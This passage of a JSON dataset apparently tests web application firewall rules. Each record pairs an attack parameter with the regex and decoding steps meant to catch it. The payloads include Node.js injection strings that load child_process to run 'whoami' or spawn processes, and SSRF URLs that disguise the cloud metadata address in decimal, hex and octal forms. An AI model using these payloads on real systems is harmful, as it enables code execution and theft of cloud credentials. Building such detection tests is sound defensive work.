"^data:(?:(?:\\*|[^!\\\"\\(\\),/:-\\?\\[-\\]\\{\\}]+)/(?:\\*|[^!\\\"\\(\\),/:-\\?\\[-\\]\\{\\}]+)|\\*)(?:[\\s\\x0b]*;[\\s\\x0b]*(?:charset[\\s\\x0b]*=[\\s\\x0b]*\\\"?(?:iso-8859-15?|utf-8|windows-1252)\\b\\\"?|(?:[^\\s\\x0b-\\\"\\(\\),/:-\\?\\[-\\]c\\{\\}]|c(?:[^!\\\"\\(\\),/:-\\?\\[-\\]h\\{\\}]|h(?:[^!\\\"\\(\\),/:-\\?\\[-\\]a\\{\\}]|a(?:[^!\\\"\\(\\),/:-\\?\\[-\\]r\\{\\}]|r(?:[^!\\\"\\(\\),/:-\\?\\[-\\]s\\{\\}]|s(?:[^!\\\"\\(\\),/:-\\?\\[-\\]e\\{\\}]|e[^!\\\"\\(\\),/:-\\?\\[-\\]t\\{\\}]))))))[^!\\\"\\(\\),/:-\\?\\[-\\]\\{\\}]*[\\s\\x0b]*=[\\s\\x0b]*[^!\\(\\),/:-\\?\\[-\\]\\{\\}]+);?)*(?:[\\s\\x0b]*,[\\s\\x0b]*(?:(?:\\*|[^!\\\"\\(\\),/:-\\?\\[-\\]\\{\\}]+)/(?:\\*|[^!\\\"\\(\\),/:-\\?\\[-\\]\\{\\}]+)|\\*)(?:[\\s\\x0b]*;[\\s\\x0b]*(?:charset[\\s\\x0b]*=[\\s\\x0b]*\\\"?(?:iso-8859-15?|utf-8|windows-1252)\\b\\\"?|(?:[^\\s\\x0b-\\\"\\(\\),/:-\\?\\[-\\]c\\{\\}]|c(?:[^!\\\"\\(\\),/:-\\?\\[-\\]h\\{\\}]|h(?:[^!\\\"\\(\\),/:-\\?\\[-\\]a\\{\\}]|a(?:[^!\\\"\\(\\),/:-\\?\\[-\\]r\\{\\}]|r(?:[^!\\\"\\(\\),/:-\\?\\[-\\]s\\{\\}]|s(?:[^!\\\"\\(\\),/:-\\?\\[-\\]e\\{\\}]|e[^!\\\"\\(\\),/:-\\?\\[-\\]t\\{\\}]))))))[^!\\\"\\(\\),/:-\\?\\[-\\]\\{\\}]*[\\s\\x0b]*=[\\s\\x0b]*[^!\\(\\),/:-\\?\\[-\\]\\{\\}]+);?)*)*", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934170", "test_description": "SSRF - data: scheme test - IN2OZO3N coverage" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=data://text/plain;base64,SSBsb3ZlIFBIUAo=" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^data:(?:(?:\\*|[^!\\\"\\(\\),/:-\\?\\[-\\]\\{\\}]+)/(?:\\*|[^!\\\"\\(\\),/:-\\?\\[-\\]\\{\\}]+)|\\*)(?:[\\s\\x0b]*;[\\s\\x0b]*(?:charset[\\s\\x0b]*=[\\s\\x0b]*\\\"?(?:iso-8859-15?|utf-8|windows-1252)\\b\\\"?|(?:[^\\s\\x0b-\\\"\\(\\),/:-\\?\\[-\\]c\\{\\}]|c(?:[^!\\\"\\(\\),/:-\\?\\[-\\]h\\{\\}]|h(?:[^!\\\"\\(\\),/:-\\?\\[-\\]a\\{\\}]|a(?:[^!\\\"\\(\\),/:-\\?\\[-\\]r\\{\\}]|r(?:[^!\\\"\\(\\),/:-\\?\\[-\\]s\\{\\}]|s(?:[^!\\\"\\(\\),/:-\\?\\[-\\]e\\{\\}]|e[^!\\\"\\(\\),/:-\\?\\[-\\]t\\{\\}]))))))[^!\\\"\\(\\),/:-\\?\\[-\\]\\{\\}]*[\\s\\x0b]*=[\\s\\x0b]*[^!\\(\\),/:-\\?\\[-\\]\\{\\}]+);?)*(?:[\\s\\x0b]*,[\\s\\x0b]*(?:(?:\\*|[^!\\\"\\(\\),/:-\\?\\[-\\]\\{\\}]+)/(?:\\*|[^!\\\"\\(\\),/:-\\?\\[-\\]\\{\\}]+)|\\*)(?:[\\s\\x0b]*;[\\s\\x0b]*(?:charset[\\s\\x0b]*=[\\s\\x0b]*\\\"?(?:iso-8859-15?|utf-8|windows-1252)\\b\\\"?|(?:[^\\s\\x0b-\\\"\\(\\),/:-\\?\\[-\\]c\\{\\}]|c(?:[^!\\\"\\(\\),/:-\\?\\[-\\]h\\{\\}]|h(?:[^!\\\"\\(\\),/:-\\?\\[-\\]a\\{\\}]|a(?:[^!\\\"\\(\\),/:-\\?\\[-\\]r\\{\\}]|r(?:[^!\\\"\\(\\),/:-\\?\\[-\\]s\\{\\}]|s(?:[^!\\\"\\(\\),/:-\\?\\[-\\]e\\{\\}]|e[^!\\\"\\(\\),/:-\\?\\[-\\]t\\{\\}]))))))[^!\\\"\\(\\),/:-\\?\\[-\\]\\{\\}]*[\\s\\x0b]*=[\\s\\x0b]*[^!\\(\\),/:-\\?\\[-\\]\\{\\}]+);?)*)*", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934170", "test_description": "Negative test - data:// should not match" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=data:text/plain" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^data:(?:(?:\\*|[^!\\\"\\(\\),/:-\\?\\[-\\]\\{\\}]+)/(?:\\*|[^!\\\"\\(\\),/:-\\?\\[-\\]\\{\\}]+)|\\*)(?:[\\s\\x0b]*;[\\s\\x0b]*(?:charset[\\s\\x0b]*=[\\s\\x0b]*\\\"?(?:iso-8859-15?|utf-8|windows-1252)\\b\\\"?|(?:[^\\s\\x0b-\\\"\\(\\),/:-\\?\\[-\\]c\\{\\}]|c(?:[^!\\\"\\(\\),/:-\\?\\[-\\]h\\{\\}]|h(?:[^!\\\"\\(\\),/:-\\?\\[-\\]a\\{\\}]|a(?:[^!\\\"\\(\\),/:-\\?\\[-\\]r\\{\\}]|r(?:[^!\\\"\\(\\),/:-\\?\\[-\\]s\\{\\}]|s(?:[^!\\\"\\(\\),/:-\\?\\[-\\]e\\{\\}]|e[^!\\\"\\(\\),/:-\\?\\[-\\]t\\{\\}]))))))[^!\\\"\\(\\),/:-\\?\\[-\\]\\{\\}]*[\\s\\x0b]*=[\\s\\x0b]*[^!\\(\\),/:-\\?\\[-\\]\\{\\}]+);?)*(?:[\\s\\x0b]*,[\\s\\x0b]*(?:(?:\\*|[^!\\\"\\(\\),/:-\\?\\[-\\]\\{\\}]+)/(?:\\*|[^!\\\"\\(\\),/:-\\?\\[-\\]\\{\\}]+)|\\*)(?:[\\s\\x0b]*;[\\s\\x0b]*(?:charset[\\s\\x0b]*=[\\s\\x0b]*\\\"?(?:iso-8859-15?|utf-8|windows-1252)\\b\\\"?|(?:[^\\s\\x0b-\\\"\\(\\),/:-\\?\\[-\\]c\\{\\}]|c(?:[^!\\\"\\(\\),/:-\\?\\[-\\]h\\{\\}]|h(?:[^!\\\"\\(\\),/:-\\?\\[-\\]a\\{\\}]|a(?:[^!\\\"\\(\\),/:-\\?\\[-\\]r\\{\\}]|r(?:[^!\\\"\\(\\),/:-\\?\\[-\\]s\\{\\}]|s(?:[^!\\\"\\(\\),/:-\\?\\[-\\]e\\{\\}]|e[^!\\\"\\(\\),/:-\\?\\[-\\]t\\{\\}]))))))[^!\\\"\\(\\),/:-\\?\\[-\\]\\{\\}]*[\\s\\x0b]*=[\\s\\x0b]*[^!\\(\\),/:-\\?\\[-\\]\\{\\}]+);?)*)*", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934170", "test_description": "Status Page Test - SSRF - data: scheme test - simple trigger, isolated test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=%23%7Brequire.main.constructor._load%28child_process%29.spawn%28%27foo%27%2C%5B%27bar%27%2C%27bar%27%5D%29%7D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:close|exists|fork|(?:ope|spaw)n|re(?:ad|quire)|w(?:atch|rite))[\\s\\x0b]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934101", "test_description": "additional node ssti tests 1" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=%23%7Brequire.main.constructor._load%28%27fs%27%29.write%28fd%2C%20str%2C%200%2C%20null%2C%20%7B%7D%29%7D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:close|exists|fork|(?:ope|spaw)n|re(?:ad|quire)|w(?:atch|rite))[\\s\\x0b]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934101", "test_description": "additional node ssti tests 2" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=%23%7Brequire.main.constructor._load%28%27child_process%27%29.fork%28%22binary%22%2C%20%5B%22bar%22%5D%2C%20%7B%7D%29%7D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:close|exists|fork|(?:ope|spaw)n|re(?:ad|quire)|w(?:atch|rite))[\\s\\x0b]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934101", "test_description": "additional node ssti tests 3" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=require(\"child_process\").exec('whoami')" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:close|exists|fork|(?:ope|spaw)n|re(?:ad|quire)|w(?:atch|rite))[\\s\\x0b]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "base64Decode", "urlDecodeUni", "jsDecode" ], "attack_type": [ "attack-rce", "attack-injection-generic" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934101", "test_description": "require child_process" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http://2852039166/" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - IPv4, Dotless decimal" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http://7147006462/" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - IPv4, Dotless decimal with overflow" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http://0xA9.0xFE.0xA9.0xFE/" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - IPv4, Dotted hexadecimal" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http://0xA9FEA9FE/" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - IPv4, Dotless hexadecimal" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http://0x41414141A9FEA9FE/" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - IPv4, Dotless hexadecimal with overflow" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http://0251.0376.0251.0376/" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://(?:[0-9]{10}|(?:0x[0-9a-f]{2}\\.){3}0x[0-9a-f]{2}|0x(?:[0-9a-f]{8}|[0-9a-f]{16})|(?:0{1,4}[0-9]{1,3}\\.){3}0{1,4}[0-9]{1,3}|[0-9]{1,3}\\.(?:[0-9]{1,3}\\.[0-9]{5}|[0-9]{8})|(?:\\x5c\\x5c[\\-0-9a-z]\\.?_?)+|\\[[0-:a-f]+(?:[\\.0-9]+|%[0-9A-Z_a-z]+)?\\]|[a-z][\\-\\.0-9A-Z_a-z]{1,255}:[0-9]{1,5}(?:#?[\\s\\x0b]*&?@(?:(?:[0-9]{1,3}\\.){3}[0-9]{1,3}|[a-z][\\-\\.0-9A-Z_a-z]{1,255}):[0-9]{1,5}/?)+|[\\.0-9]{0,11}(?:\\x{e2}(?:\\x91[\\xa0-\\x{bf}]|\\x92[\\x80-\\x{bf}]|\\x93[\\x80-\\x{a9}\\x{ab}-\\x{bf}])|\\x{e3}\\x80\\x82)+)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-ssrf" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "934120", "test_description": "SSRF - IPv4, Dotted octal" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "ssrf=http://0251.00376.000251.0000376/" } ], "attack_context": { 